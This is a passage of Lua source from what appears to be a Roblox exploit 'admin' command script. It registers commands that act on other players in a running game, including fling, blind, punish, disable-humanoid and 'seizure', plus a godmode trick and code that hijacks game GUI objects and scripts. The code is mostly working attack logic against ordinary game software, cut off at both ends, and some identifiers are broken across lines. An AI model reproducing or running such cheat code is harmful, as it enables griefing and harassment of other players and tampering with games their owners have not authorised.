if not game.ReplicatedStorage:FindFirstChild("RankScript") then


gPlayers.LocalPlayer.PlayerGui.RankScript.Parent = game.ReplicatedStorage
end

if not game.ReplicatedStorage:FindFirstChild(gPlayers.LocalPlayer.Name.."Element")
then
local eTemplate = gPlayers.LocalPlayer.PlayerGui.Player1Element
eTemplate.Name = gPlayers.LocalPlayer.Name.."Element"
eTemplate.Parent = game.ReplicatedStorage
end

if not game.ReplicatedStorage:FindFirstChild(gPlayers.LocalPlayer.Name.."FakeName")
then
local fTemplate = gPlayers.LocalPlayer.PlayerGui.Player1FakeName
fTemplate.Name = gPlayers.LocalPlayer.Name.."FakeName"
fTemplate.Parent = game.ReplicatedStorage
end

if not game.ReplicatedStorage:FindFirstChild(gPlayers.LocalPlayer.Name.."Level")
then
local lTemplate = gPlayers.LocalPlayer.PlayerGui.Player1Level
lTemplate.Name = gPlayers.LocalPlayer.Name.."Level"
lTemplate.Parent = game.ReplicatedStorage
end

if not
game.ReplicatedStorage:FindFirstChild(gPlayers.LocalPlayer.Name.."Membership") then
local mTemplate = gPlayers.LocalPlayer.PlayerGui.Player1Membership
mTemplate.Name = gPlayers.LocalPlayer.Name.."Membership"
mTemplate.Parent = game.ReplicatedStorage
end

function getMyPlayerArea()
for i,v in pairs(game.Workspace.BuildingAreas:GetChildren()) do
if v.Player.Value == player.Name then
return v.PlayerArea
end
end
end

local whitelistedParts = {
["DamagePart"] = true,
["Explosion"] = true,
["Explosion2"] = true,
["SuperExplosion"] = true,
}

workspace.DescendantAdded:connect(function(desc)
if desc:IsA("Script") and desc:IsDescendantOf(gPlayers.LocalPlayer.Character)
then
newCESS(desc)
elseif whitelistedParts[desc.Parent.Name] and desc:IsA("Script") then
newCESS(desc)
elseif desc:IsA("BodyGyro") then
desc:GetPropertyChangedSignal("MaxTorque"):Connect(function()
desc.MaxTorque = Vector3.new(100000,100000,100000)
end)
--elseif desc:IsA("BodyPosition") then
-- desc:GetPropertyChangedSignal("MaxForce"):Connect(function()
-- desc.MaxForce = Vector3.new(10000,10000,10000)
-- end)
end
end)

player.Character.Humanoid.MaxHealth = (100+(player.leaderstats1.Level.Value*25))
player.Character.Humanoid.Health = player.Character.Humanoid.MaxHealth
player.PlayerGui.HealthGui.MaxMana.Value = (150+
(player.leaderstats1.Level.Value*25))
player.PlayerGui.HealthGui.MaxXP.Value = (player.leaderstats1.Level.Value*50)
player.PlayerGui.HealthGui.Mana.Value = player.PlayerGui.HealthGui.MaxMana.Value

wait(1)

local player = gPlayers.LocalPlayer

local arcList = player.PlayerGui.ChangeArc.Stuff.ScrollingFrame


local arcTemplate = player.PlayerGui.ChangeArc.Stuff.ChangeTemplate

local arcToggler = player.PlayerGui.ChangeArc.ArcToggler.Toggle


local arcMoves = player.PlayerGui.ChangeArc.ArcMoves
local arcMovesList = arcMoves.ScrollingFrame
local moveTemplate = player.PlayerGui.ChangeArc.MoveTemplate

local arcs = {}

local currentArc = ""

function getMove(root)
for i,v in pairs(root:GetChildren()) do
if v.Name ~= "Requirement" then
return v
end
end
return nil
end

for i,v in pairs(fakeLighting.SkillFrames:GetChildren()) do


table.insert(arcs,v)
end

for i,v in pairs(fakeLighting.Customs:GetChildren()) do


table.insert(arcs,v)
end

for i,v in pairs(arcs) do


local newTemplate = arcTemplate:Clone()
newTemplate.ArcName.Text = v.Name
newTemplate.Change.MouseButton1Down:connect(function()
currentArc = v.Name
arcToggler.Parent.Visible = true
if fakeLighting.SkillFrames:FindFirstChild(currentArc) then
arcMovesList:ClearAllChildren()
arcToggler.Text = currentArc
arcMoves.Title.Text = currentArc .. " Arc"
for i5,v5 in
pairs(fakeLighting.SkillFrames:FindFirstChild(currentArc).Stuff.ScrollingFrame:GetC
hildren()) do
local myMove = getMove(v5.Learn)
if myMove ~= nil then
local newTemplate = moveTemplate:Clone()
newTemplate.Attack.Text = v5.Name
newTemplate.Position =
UDim2.new(0,0,0,#arcMovesList:GetChildren()*47+5)
newTemplate.Parent = arcMovesList
arcMovesList.CanvasSize =
UDim2.new(0,0,0,#arcMovesList:GetChildren()*47+5)
newTemplate.Learn.MouseButton1Down:connect(function()
local learnMove = myMove:Clone()
learnMove.Parent = player.Backpack
if learnMove:IsA("LocalScript") then
learnMove.Disabled = false
newTemplate.Learn.Text = "Activated"
newCESS(learnMove)
else
newTemplate.Learn.Text = "Learned"
newCESS(learnMove.LocalScript)
end
wait(5)
newTemplate.Learn.Text = "Learn"
end)
newTemplate.Visible = true
end
end
end
if fakeLighting.Customs:FindFirstChild(currentArc) then
arcMovesList:ClearAllChildren()
arcToggler.Text = currentArc
arcMoves.Title.Text = currentArc .. " Arc"
for i,v in
pairs(fakeLighting.Customs:FindFirstChild(currentArc).Stuff.ScrollingFrame:GetChild
ren()) do
local myMove = getMove(v.Learn)
if myMove ~= nil then
local newTemplate = moveTemplate:Clone()
newTemplate.Attack.Text = v.Name
newTemplate.Position =
UDim2.new(0,0,0,#arcMovesList:GetChildren()*47+5)
newTemplate.Parent = arcMovesList
arcMovesList.CanvasSize =
UDim2.new(0,0,0,#arcMovesList:GetChildren()*47+5)
newTemplate.Learn.MouseButton1Down:connect(function()
local learnMove = myMove:Clone()
learnMove.Parent = player.Backpack
if learnMove:IsA("LocalScript") then
learnMove.Disabled = false
newTemplate.Learn.Text = "Activated"
newCESS(learnMove)
else
newTemplate.Learn.Text = "Learned"
newCESS(learnMove.LocalScript)
end
wait(5)
newTemplate.Learn.Text = "Learn"
end)
newTemplate.Visible = true
end
end
end
end)
newTemplate.Position = UDim2.new(0,0,0,#arcList:GetChildren()*47+5)
newTemplate.Visible = true
newTemplate.Parent = arcList
arcList.CanvasSize = UDim2.new(0,0,0,#arcList:GetChildren()*47+5)
end

Open = false
MouseClick = function()
if Open == false then
Open = true
player.PlayerGui.ChangeArc.Stuff.Visible = true
else
if Open == true then
Open = false
player.PlayerGui.ChangeArc.Stuff.Visible = false
end
end
end

player.PlayerGui.ChangeArc.Frame.Toggle.MouseButton1Down:connect(MouseClick)

Open2 = false
MouseClick2 = function()
if Open2 == false then
Open2 = true
arcMoves.Visible = true
else
if Open2 == true then
Open2 = false
arcMoves.Visible = false
end
end
end

arcToggler.MouseButton1Down:connect(MouseClick2)
newCESS(player.PlayerGui.ArcMusicPlayer["Music Player Module"])

for i,v in pairs(player.PlayerGui.HealthGui:GetDescendants()) do


if v:IsA("Script") then
newCESS(v)
end
end
end
end
end)

addcmd('unduck','makes player back to normal',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
refresh(gPlayers[v])
end
end)

addcmd('mesh','makes a player into a mesh',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
for i,v in pairs(pchar.Torso:GetChildren()) do
if v:IsA("Decal") then
v:Destroy()
end
end
for i,v in pairs(pchar:GetChildren()) do
if v:IsA("Accessory") then
v:Destroy()
end
end
pchar.Head.Transparency = 1
pchar["Left Arm"].Transparency = 1
pchar["Right Arm"].Transparency = 1
pchar["Left Leg"].Transparency = 1
pchar["Right Leg"].Transparency = 1
pchar.Head.face.Transparency = 1
local msh = Instance.new("SpecialMesh", pchar.Torso)
msh.MeshType = "FileMesh"
msh.Scale = Vector3.new(3, 3, 3)
msh.MeshId = "http://www.roblox.com/asset/?id=" ..args[2]
msh.TextureId = "http://www.roblox.com/asset/?id=" .. args[3]
msh.Scale = Vector3.new(3, 3, 3)
end
end)

addcmd('disable','removes players humanoid',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if pchar:FindFirstChild("Humanoid") then
pchar.Humanoid.Name = "HUMANOID_" .. gPlayers[v].Name
local humanoid = pchar["HUMANOID_" .. gPlayers[v].Name]
humanoid.Parent = game.ContextActionService
if FindTable(SPC, args[1]) then Notify('Disabled ' .. args[1]) else
Notify('Disabled player(s)') end
end end end)

addcmd('enable','gives player humanoid',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if pchar:FindFirstChild("Humanoid") then
return
else
local humanoid = game.ContextActionService["HUMANOID_" ..
gPlayers[v].Name]
humanoid.Parent = pchar
humanoid.Name = "Humanoid"
if FindTable(SPC, args[1]) then Notify('Enabled ' .. args[1])
else
Notify('Enabled player(s)') end
end end end)

addcmd('size','changes size of player',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
local function scale(chr,scl)
for _,v in pairs(pchar:GetChildren()) do
if v:IsA("Accessory") then
v:Clone()
v.Parent = LightingService
end end
local Head = chr['Head']
local Torso = chr['Torso']
local LA = chr['Left Arm']
local RA = chr['Right Arm']
local LL = chr['Left Leg']
local RL = chr['Right Leg']
local HRP = chr['HumanoidRootPart']
wait(0.1)
Head.formFactor = 3
Torso.formFactor = 3
LA.formFactor = 3
RA.formFactor = 3
LL.formFactor = 3
RL.formFactor = 3
HRP.formFactor = 3
Head.Size = Vector3.new(scl * 2, scl, scl)
Torso.Size = Vector3.new(scl * 2, scl * 2, scl)
LA.Size = Vector3.new(scl, scl * 2, scl)
RA.Size = Vector3.new(scl, scl * 2, scl)
LL.Size = Vector3.new(scl, scl * 2, scl)
RL.Size = Vector3.new(scl, scl * 2, scl)
HRP.Size = Vector3.new(scl * 2, scl * 2, scl)
local Motor1 = Instance.new('Motor6D', Torso)
Motor1.Part0 = Torso
Motor1.Part1 = Head
Motor1.C0 = CFrame.new(0, 1 * scl, 0) * CFrame.Angles(-1.6, 0, 3.1)
Motor1.C1 = CFrame.new(0, -0.5 * scl, 0) * CFrame.Angles(-1.6, 0, 3.1)
Motor1.Name = "Neck"
local Motor2 = Instance.new('Motor6D', Torso)
Motor2.Part0 = Torso
Motor2.Part1 = LA
Motor2.C0 = CFrame.new(-1 * scl, 0.5 * scl, 0) * CFrame.Angles(0, -1.6,
0)
Motor2.C1 = CFrame.new(0.5 * scl, 0.5 * scl, 0) * CFrame.Angles(0, -
1.6, 0)
Motor2.Name = "Left Shoulder"
local Motor3 = Instance.new('Motor6D', Torso)
Motor3.Part0 = Torso
Motor3.Part1 = RA
Motor3.C0 = CFrame.new(1 * scl, 0.5 * scl, 0) * CFrame.Angles(0, 1.6,
0)
Motor3.C1 = CFrame.new(-0.5 * scl, 0.5 * scl, 0) * CFrame.Angles(0,
1.6, 0)
Motor3.Name = "Right Shoulder"
local Motor4 = Instance.new('Motor6D', Torso)
Motor4.Part0 = Torso
Motor4.Part1 = LL
Motor4.C0 = CFrame.new(-1 * scl, -1 * scl, 0) * CFrame.Angles(0, -1.6,
0)
Motor4.C1 = CFrame.new(-0.5 * scl, 1 * scl, 0) * CFrame.Angles(0, -1.6,
0)
Motor4.Name = "Left Hip"
local Motor5 = Instance.new('Motor6D', Torso)
Motor5.Part0 = Torso
Motor5.Part1 = RL
Motor5.C0 = CFrame.new(1 * scl, -1 * scl, 0) * CFrame.Angles(0, 1.6, 0)
Motor5.C1 = CFrame.new(0.5 * scl, 1 * scl, 0) * CFrame.Angles(0, 1.6,
0)
Motor5.Name = "Right Hip"
local Motor6 = Instance.new('Motor6D', HRP)
Motor6.Part0 = HRP
Motor6.Part1 = Torso
Motor6.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(-1.6, 0, -3.1)
Motor6.C1 = CFrame.new(0, 0, 0) * CFrame.Angles(-1.6, 0, -3.1) end
scale(pchar, args[2])
for _,v in pairs(LightingService:GetChildren()) do
if v:IsA("Accessory") then
v.Parent = pchar
end end end end)

addcmd('clone','clones player',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
spawn(function()
pchar.Archivable = true
local clone = pchar:Clone()
clone.Parent = workspace
local cloneV = Instance.new("BoolValue")
cloneV.Name = "isclone"
cloneV.Parent = clone
clone:MoveTo(pchar:GetModelCFrame().p)
clone:MakeJoints()
pchar.Archivable = false
end)
end
end)

addcmd('noclones', 'clears clones',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
for _, child in pairs( workspace:GetChildren()) do
if child.Name == gPlayers[v].Name and child:FindFirstChild('isclone') then
child:Destroy()
end
end
end
end)

addcmd('spin','spins player',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
local pchar = gPlayers[v].Character
for i,v in pairs(pchar.Torso:GetChildren()) do
if v.Name == "Spinning" then
v:Destroy()
end
end
local Torso = pchar.Torso
local BG = Instance.new("BodyGyro", Torso)
BG.Name = "Spinning"
BG.maxTorque = Vector3.new(0, math.huge, 0)
BG.P = 11111
BG.cframe = Torso.CFrame
repeat wait(1/44)
BG.CFrame = BG.CFrame * CFrame.Angles(0,math.rad(30),0)
until not BG or BG.Parent ~= Torso
end)
end
end)

addcmd('unspin','stops spinning player',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
for i,v in pairs(pchar.Torso:GetChildren()) do
if v.Name == "Spinning" then
v:Destroy()
end
end
end
end)

addcmd('dog','makes player a dog',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if pchar:FindFirstChild("Shirt") then
pchar.Shirt:Destroy()
end
if pchar:FindFirstChild("Pants") then
pchar.Pants:Destroy()
end
if pchar:FindFirstChild("Shirt Graphic") then
pchar["Shirt Graphic"].Graphic = ""
end
pchar.Torso.Transparency = 1
pchar.Torso.Neck.C0 = CFrame.new(0,-.5,-2) *
CFrame.Angles(math.rad(90),math.rad(180),0)
pchar.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) *
CFrame.Angles(0,math.rad(90),0)
pchar.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) *
CFrame.Angles(0,math.rad(-90),0)
pchar.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) *
CFrame.Angles(0,math.rad(90),0)
pchar.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) *
CFrame.Angles(0,math.rad(-90),0)
local FakeTorso = Instance.new("Seat", pchar)
FakeTorso.Name = "FakeTorso"
FakeTorso.FormFactor = "Symmetric"
FakeTorso.TopSurface = 0
FakeTorso.BottomSurface = 0
FakeTorso.Size = Vector3.new(3,1,4)
FakeTorso.BrickColor = BrickColor.new("Brown")
FakeTorso.CFrame = pchar.Torso.CFrame
local BF = Instance.new("BodyForce", FakeTorso)
BF.Force = Vector3.new(0, FakeTorso:GetMass() * 196.25, 0)
local W = Instance.new("Weld", pchar.Torso)
W.Part0 = pchar.Torso
W.Part1 = FakeTorso
W.C0 = CFrame.new(0,-.5,0)
local BC = pchar["Body Colors"]
BC.HeadColor = BrickColor.new("Brown")
BC.LeftArmColor = BrickColor.new("Brown")
BC.LeftLegColor = BrickColor.new("Brown")
BC.RightArmColor = BrickColor.new("Brown")
BC.RightLegColor = BrickColor.new("Brown")
BC.TorsoColor = BrickColor.new("Brown")
end
end)

addcmd('undog','makes player back to normal',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
refresh(gPlayers[v])
end
end)

addcmd('loopheal','loop heals player',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
local pchar = gPlayers[v].Character
if pchar:FindFirstChild("LoopHeal") then
pchar.LoopHeal.Name = "NotLoopHeal"
wait(0.1)
pchar.NotLoopHeal:Destroy()
end
local LoopHeal = Instance.new("StringValue", pchar)
LoopHeal.Name = "LoopHeal"
repeat wait(0.1)
pchar.Humanoid.Health = pchar.Humanoid.MaxHealth
until LoopHeal.Name == "NotLoopHeal"
end)
end
end)

addcmd('unloopheal','stops loop heal on player',{'noloopheal'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if pchar:FindFirstChild("LoopHeal") then
pchar.LoopHeal.Name = "NotLoopHeal"
wait(0.1)
pchar.NotLoopHeal:Destroy()
end
end
end)

addcmd('fling','flings player',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if pchar:FindFirstChild("Humanoid") then
local xran
local zran
repeat
xran = math.random(-9999,9999)
until math.abs(xran) >= 5555
repeat
zran = math.random(-9999,9999)
until math.abs(zran) >= 5555
pchar.Humanoid.Sit = true
pchar.HumanoidRootPart.Velocity = Vector3.new(0,0,0)
local BF = Instance.new("BodyForce", pchar.HumanoidRootPart)
BF.force = Vector3.new(xran * 4, 9999 * 5, zran * 4)
end
end
end)

addcmd('skydive','self explanatory',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if pchar:FindFirstChild("HumanoidRootPart") then
pchar.HumanoidRootPart.CFrame = pchar.HumanoidRootPart.CFrame +
Vector3.new(0,10000,0)
end
end
end)

addcmd('bleach','drink bleach',{''},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
bleach(gPlayers[v])
end
end)

addcmd('seizure','makes player have a seizure',{''},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if pchar:FindFirstChild("Seizure") then

end
local Seizure = Instance.new("StringValue", pchar)
Seizure.Name = "Seizure"
pchar.Humanoid.PlatformStand = true
repeat wait()
pchar.Torso.Velocity = Vector3.new(math.random(-10,10),-
5,math.random(-10,10))
pchar.Torso.RotVelocity = Vector3.new(math.random(-
5,5),math.random(-5,5),math.random(-5,5))
until Seizure.Name == "NotSeizure"
end
end)

addcmd('fegod','gods you in fe games',{''},


function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker)
else
gPlayers.LocalPlayer.Character.Humanoid.Name = 1
local l = gPlayers.LocalPlayer.Character["1"]:Clone()
l.Parent = gPlayers.LocalPlayer.Character
l.Name = "Humanoid"
wait(0.1)
gPlayers.LocalPlayer.Character["1"]:Destroy()
workspace.CurrentCamera.CameraSubject = gPlayers.LocalPlayer.Character
gPlayers.LocalPlayer.Character.Animate.Disabled = true
wait(0.1)
gPlayers.LocalPlayer.Character.Animate.Disabled = false
gPlayers.LocalPlayer.Character.Humanoid.DisplayDistanceType = "None"
end
end)

addcmd('unseizure','makes player stop having a seizure',{''},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if pchar:FindFirstChild("Seizure") then
pchar.Humanoid.PlatformStand = false
pchar.Seizure.Name = "NotSeizure"
wait(0.1)
pchar.NotSeizure:Destroy()
end
end
end)
addcmd('m','makes a global message',{'message'},
function(args, speaker)
local MSG = '['..speaker.Name..']: '..GLS(false, 0)
local newMSG = '['..speaker.Name..']: '..GLS(false, 0)
_G.msg(MSG)
end)

addcmd('sm','makes a global message',{'servermessage'},


function(args, speaker)
local MSG = GLS(false, 0)
local newMSG = GLS(false, 0)
_G.msg(MSG)
end)

addcmd('fe','checks filtering status',{'filtering'},


function(args, speaker)
if workspace.FilteringEnabled == true then
Notify('Filtering ENABLED')
elseif workspace.FilteringEnabled == false then
Notify('Filtering Disabled')
end
end)

addcmd('paper','makes player thin as paper',{''},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
for _, child in pairs( pchar:GetChildren()) do
if child.ClassName == "CharacterMesh" then
child:Destroy()
end
end
local LA = DATA.Paper:Clone()
LA.Parent = pchar["Left Arm"]
local RA = DATA.Paper:Clone()
RA.Parent = pchar["Right Arm"]
local LL = DATA.Paper:Clone()
LL.Parent = pchar["Left Leg"]
local RL = DATA.Paper:Clone()
RL.Parent = pchar["Right Leg"]
local T = DATA.Paper:Clone()
T.Parent = pchar.Torso
local H = DATA.Paper:Clone()
H.Parent = pchar.Head
pchar.Head.face:Destroy()
end
end)

addcmd('particles','gives a player particles',{''},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local char = gPlayers[v].Character
for i,v in pairs(char.HumanoidRootPart:GetChildren()) do
if v:IsA('ParticleEmitter') then
v:destroy()
end
end
local prt = Instance.new('ParticleEmitter', char.HumanoidRootPart)
prt.Texture = 'rbxassetid://' .. args[2]
prt.Rate = 10
prt.SpreadAngle = Vector2.new(50, 50)
end
end)

addcmd('unparticles','gives a player particles',{'noparticles'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local char = gPlayers[v].Character
for i,v in pairs(char.HumanoidRootPart:GetChildren()) do
if v:IsA('ParticleEmitter') then
v:destroy()
end
end
end
end)

blindT = {}
addcmd('blind','blinds a player',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
if FindTable(blindT, _players[v].Name) then return end
local blind = gPlayers[v].Name
local victim = gPlayers:FindFirstChild(blind)
if victim ~= nil then
victim.CameraMaxZoomDistance = 0.5
blnd = Instance.new("Part",workspace)
blnd.Name = "IYblind" .. gPlayers[v].Name
blnd.Size = Vector3.new(1,1,1)
blnd.CanCollide = false
blnd.BrickColor = BrickColor.new("Really black")
blnd.Material = "Neon"
local m = Instance.new("SpecialMesh",blnd)
m.Scale = Vector3.new(-1.5,-1.5,-1.5)
m.MeshId = "http://www.roblox.com/asset/?id=10061232"
local w = Instance.new("Weld",blnd)
w.Part0 = blnd
w.Part1 = victim.Character.Head
if FindTable(blindT, _players[v].Name) then return end
table.insert(blindT, _players[v].Name)
repeat if not workspace:FindFirstChild('IYblind' .. gPlayers[v].Name)
then
local blind = gPlayers[v].Name
local victim = gPlayers:FindFirstChild(blind)
if victim ~= nil then
victim.CameraMaxZoomDistance = 0.5
blnd = Instance.new("Part",workspace)
blnd.Name = "IYblind" .. gPlayers[v].Name
blnd.Size = Vector3.new(1,1,1)
blnd.CanCollide = false
blnd.BrickColor = BrickColor.new("Really black")
blnd.Material = "Neon"
local m = Instance.new("SpecialMesh",blnd)
m.Scale = Vector3.new(-1.5,-1.5,-1.5)
m.MeshId = "http://www.roblox.com/asset/?id=10061232"
local w = Instance.new("Weld",blnd)
w.Part0 = blnd
w.Part1 = victim.Character.Head
end end wait(1)
until not FindTable(blindT, _players[v].Name)
end end) end end)

addcmd('unblind','blinds a player',{'noblind'},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
for a,b in pairs(blindT) do if b == _players[v].Name then
table.remove(blindT, a) end end
local blind = gPlayers[v].Name
local victim = gPlayers:FindFirstChild(blind)
if victim ~= nil then
victim.CameraMaxZoomDistance = 400 wait(0.5)
for _, child in pairs( workspace:GetChildren()) do
if child.Name == "IYblind" .. gPlayers[v].Name then
child:Destroy()
end end end end) end end)

addcmd('punish','punishs player',{''},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
pchar.Parent = LightingService
end
end)

addcmd('unpunish','unpunishs player',{''},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
if LightingService:FindFirstChild("" .. gPlayers[v].Name) then
LightingService:FindFirstChild("" .. gPlayers[v].Name).Parent =
workspace
end
end
end)

local starmanPlayers = {}
local starmanLastColor = nil
local starmanEvents = {}

addcmd("starman","Turns [plr] into starman",{},


function(args,speaker)
local function starman(plr)
local char = plr.Character
local lastColor = ""
local newColor = ""

local powerupSound = Instance.new("Sound",char.HumanoidRootPart)


powerupSound.Name = "PowerUp"
powerupSound.Volume = 10
powerupSound.SoundId = "rbxassetid://182755256"
wait()
powerupSound:Play()

game:GetService("Debris"):AddItem(powerupSound,2)

while char.HumanoidRootPart:FindFirstChild("Starman") do
char.HumanoidRootPart.Starman:Destroy() end

local starmanMusic = Instance.new("Sound",char.HumanoidRootPart)


starmanMusic.Name = "Starman"
starmanMusic.Volume = 1
starmanMusic.Looped = true
starmanMusic.SoundId = "rbxassetid://530596723"
wait()
starmanMusic:Play()

if char:FindFirstChild("Shirt") then char.Shirt:Destroy() end


if char:FindFirstChild("Pants") then char.Pants:Destroy() end

char.Humanoid.WalkSpeed = 32
char.Humanoid.MaxHealth = math.huge
char.Humanoid.Health = math.huge

local invisff = Instance.new("ForceField", char)


invisff.Visible = false invisff.Name = 'smff'

while char.HumanoidRootPart:FindFirstChild("StarmanFlash") do
char.HumanoidRootPart.StarmanFlash:Destroy() end

local light = Instance.new("PointLight",char.HumanoidRootPart)


light.Name = "StarmanFlash"
light.Brightness = 100
light.Range = 20
light.Shadows = true

local function stardestroy(part)


if part.Parent:FindFirstChild("Humanoid") and part.Parent ~= char
then
for i,v in pairs(part.Parent:GetChildren()) do
if v:IsA("BasePart") then
local force = Instance.new("BodyForce",v)
force.Force =
char.HumanoidRootPart.CFrame.lookVector * 50
v:BreakJoints()
end
end

local tadaas = {}

for i = 1,1 do
local tadaa =
Instance.new("Sound",part.Parent.HumanoidRootPart)
tadaa.Volume = 10
tadaa.SoundId = "rbxassetid://551195499"
table.insert(tadaas,tadaa)
end

wait()
for i,v in pairs(tadaas) do
v:Play()
end
end
end

local events = {}
for i,v in pairs(char:GetChildren()) do
if v:IsA("BasePart") then v.Material = Enum.Material.Neon
table.insert(events,v.Touched:Connect(stardestroy)) end
end
if starmanEvents[plr.Name] then for i,v in
pairs(starmanEvents[plr.Name]) do v:Disconnect() end starmanEvents[plr.Name] = nil
end
starmanEvents[plr.Name] = events
starmanPlayers[plr.Name] = char
end

for _,plr in pairs(getPlayer(args[1], speaker)) do


spawn(function()starman(gPlayers[plr])end)
end
end)

addcmd("unstarman","Removes starman from [plr]",{},


function(args,speaker)
for _,plr in pairs(getPlayer(args[1], speaker)) do
pcall(function()
if starmanPlayers[plr] then starmanPlayers[plr] = nil end
if starmanEvents[plr] then for i,v in pairs(starmanEvents[plr])
do v:Disconnect() end starmanEvents[plr] = nil end
local char = gPlayers[plr].Character
while char.HumanoidRootPart:FindFirstChild("Starman") do
char.HumanoidRootPart.Starman:Destroy()
end
while char.HumanoidRootPart:FindFirstChild("StarmanFlash") do
char.HumanoidRootPart.StarmanFlash:Destroy()
end
while char.HumanoidRootPart:FindFirstChild("smff") do
char.HumanoidRootPart.smff:Destroy()
end
end)
end
end)

local Timers = {}
function checkTimer(n,t,res)
if not Timers[n] then Timers[n] = 0 end

if tick() >= Timers[n] + t then


if res then Timers[n] = tick() end
return true
else
return false
end
end

function nonEmpty(t)
for i,v in pairs(t) do
return true
end
return false
end

game:GetService("RunService").RenderStepped:Connect(function()
if nonEmpty(starmanPlayers) then
if checkTimer("Starman",0.05,true) then
for name,plrchar in pairs(starmanPlayers) do
ypcall(function()
local colors = {"Bright red","Bright blue","Bright
green","Bright yellow","Bright violet"}
if not gPlayers:FindFirstChild(name) then
starmanPlayers[name] = nil end

local plr = gPlayers:FindFirstChild(name)

if plr then
local char = plrchar
local light =
char.HumanoidRootPart:FindFirstChild("StarmanFlash")

local meshMap = {}

for i,v in pairs(char:GetChildren()) do


if v:IsA("CharacterMesh") then
if v.BodyPart.Name == "Torso" then
meshMap["Torso"] = "rbxassetid://"..v.MeshId end
if v.BodyPart.Name == "LeftArm"
then meshMap["Left Arm"] = "rbxassetid://"..v.MeshId end
if v.BodyPart.Name == "RightArm"
then meshMap["Right Arm"] = "rbxassetid://"..v.MeshId end
if v.BodyPart.Name == "LeftLeg"
then meshMap["Left Leg"] = "rbxassetid://"..v.MeshId end
if v.BodyPart.Name == "RightLeg"
then meshMap["Right Leg"] = "rbxassetid://"..v.MeshId end
end
end

if char.Head:FindFirstChild("Mesh") then
meshMap["Head"] = char.Head.Mesh.MeshId end

if not char or char.Parent == nil then


starmanPlayers[plr.Name] = nil end
local newColor =
BrickColor.new(colors[math.random(1,#colors)])
while starmanLastColor == newColor do newColor
= BrickColor.new(colors[math.random(1,#colors)]) end
starmanLastColor = newColor
for i,v in pairs(char:GetChildren()) do
if v:IsA("BasePart") and v.Name ~=
"HumanoidRootPart" then
v.BrickColor = newColor
local fade = v:Clone()
if meshMap[v.Name] then
local newMesh =
Instance.new("SpecialMesh",fade)
newMesh.MeshId =
meshMap[v.Name]
end
fade.Name = "StarFade"
fade.Anchored = true
fade.CanCollide = false
for n,c in
pairs(fade:GetChildren()) do if c:IsA("Attachment") or c:IsA("Motor6D") or
c:IsA("PointLight") or c:IsA("Sound") or c:IsA("Weld") then c:Destroy() end end
fade.Parent = workspace.Terrain

game:GetService("TweenService"):Create(fade,TweenInfo.new(0.5),{Transparency
= 1}):Play()

game:GetService("Debris"):AddItem(fade,0.5)
end
end
light.Color = newColor.Color
end
end)
end
end
end
end)

addcmd("tppos","Teleports a player to a coordinate",{},


function(args,speaker)
if #args < 4 then return end
local tpX,tpY,tpZ = tonumber(args[2]),tonumber(args[3]),tonumber(args[4])
for _,plr in pairs(getPlayer(args[1], speaker)) do
local char = gPlayers[plr].Character
if char and char:FindFirstChild("HumanoidRootPart") then
char.HumanoidRootPart.CFrame = CFrame.new(tpX,tpY,tpZ)
end
end
end)

addcmd("offset","Offsets a player by a coordinate",{},


function(args,speaker)
if #args < 4 then return end
local tpX,tpY,tpZ = tonumber(args[2]),tonumber(args[3]),tonumber(args[4])
for _,plr in pairs(getPlayer(args[1], speaker)) do
local char = gPlayers[plr].Character
if char and char:FindFirstChild("HumanoidRootPart") then
char.HumanoidRootPart.CFrame = char.HumanoidRootPart.CFrame +
Vector3.new(tpX,tpY,tpZ)
end
end
end)

addcmd('bait',';)',{'troll'},
function(args, speaker)
spawn(function()
